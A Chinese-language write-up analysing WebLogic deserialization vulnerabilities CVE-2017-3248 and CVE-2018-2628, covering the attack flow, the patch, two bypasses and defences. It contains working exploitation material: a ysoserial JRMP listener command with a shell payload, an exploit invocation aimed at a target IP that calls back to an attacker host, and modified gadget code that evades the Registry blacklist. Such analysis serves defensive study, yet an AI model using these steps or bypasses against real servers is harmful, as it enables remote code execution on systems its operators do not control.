weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628
字数 1164 2025-08-05 00:15:46
WebLogic漏洞分析:CVE-2017-3248与CVE-2018-2628
漏洞概述
CVE-2017-3248和CVE-2018-2628是Oracle WebLogic Server中的远程代码执行漏洞,允许攻击者通过T3协议发送恶意序列化数据来执行任意代码。CVE-2018-2628实际上是CVE-2017-3248的绕过补丁版本,两者利用方式相似但payload不同。
漏洞原理
基本利用流程
- 攻击者开启JRMP服务端监听
- 利用T3协议发送payload使WebLogic反序列化
- WebLogic反序列化后开启JRMP客户端并连接攻击者的服务端
- 服务端发送恶意exp给客户端,客户端上的DGC接收到响应后反序列化执行代码
技术细节
漏洞利用的核心在于WebLogic对T3协议中序列化数据的处理不当。攻击者可以构造特殊的序列化对象,利用Java反序列化漏洞链实现远程代码执行。
关键调用链:
readObject:313, AnnotationInvocationHandler
invoke0:-1, NativeMethodAccessorImpl
invoke:39, NativeMethodAccessorImpl
invoke:25, DelegatingMethodAccessorImpl
invoke:597, Method
invokeReadObject:969, ObjectStreamClass
readSerialData:1871, ObjectInputStream
readOrdinaryObject:1775, ObjectInputStream
readObject0:1327, ObjectInputStream
defaultReadFields:1969, ObjectInputStream
readSerialData:1893, ObjectInputStream
readOrdinaryObject:1775, ObjectInputStream
readObject0:1327, ObjectInputStream
readObject:349, ObjectInputStream
executeCall:225, StreamRemoteCall
invoke:359, UnicastRef
dirty:-1, DGCImpl_Stub
makeDirtyCall:342, DGCClient$EndpointEntry
registerRefs:285, DGCClient$EndpointEntry
registerRefs:121, DGCClient
read:294, LiveRef
readExternal:473, UnicastRef
readObject:438, RemoteObject
...
漏洞复现
环境准备
- WebLogic Server 受影响版本
- ysoserial工具
- Python 2.x环境
复现步骤
- 启动JRMP监听服务:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"
- 利用T3协议发送payload:
python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient
POC代码分析
POC主要包含以下几个关键函数:
generate_payload: 生成ysoserial payloadt3_handshake: 与WebLogic建立T3协议握手build_t3_request_object: 构建T3请求对象send_payload_objdata: 发送payload数据exploit: 整合所有步骤执行漏洞利用
补丁分析
Oracle通过重写resolveProxyClass方法并添加黑名单检查来修复CVE-2017-3248:
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
补丁主要检查RMI接口类型是否为java.rmi.registry.Registry,如果是则抛出异常。
绕过方式
方法1:取消代理proxy
修改ysoserial,不使用Proxy而是直接返回UnicastRef对象,绕过resolveProxyClass检查:
public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if(sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
方法2:使用替代类
使用java.rmi.activation.Activator替代java.rmi.registry.Registry生成payload:
public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if(sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(
JRMPClient2.class.getClassLoader(),
new Class[]{Activator.class},
obj
);
return proxy;
}
防御措施
- 及时更新WebLogic到最新版本
- 限制T3协议访问,只允许可信网络访问
- 使用WebLogic提供的安全配置工具加强防护
- 监控
/tmp/success等异常文件创建
总结
CVE-2017-3248和CVE-2018-2628展示了Java反序列化漏洞的严重性,攻击者可以通过精心构造的序列化数据实现远程代码执行。理解这些漏洞的原理和利用方式有助于更好地防御类似攻击。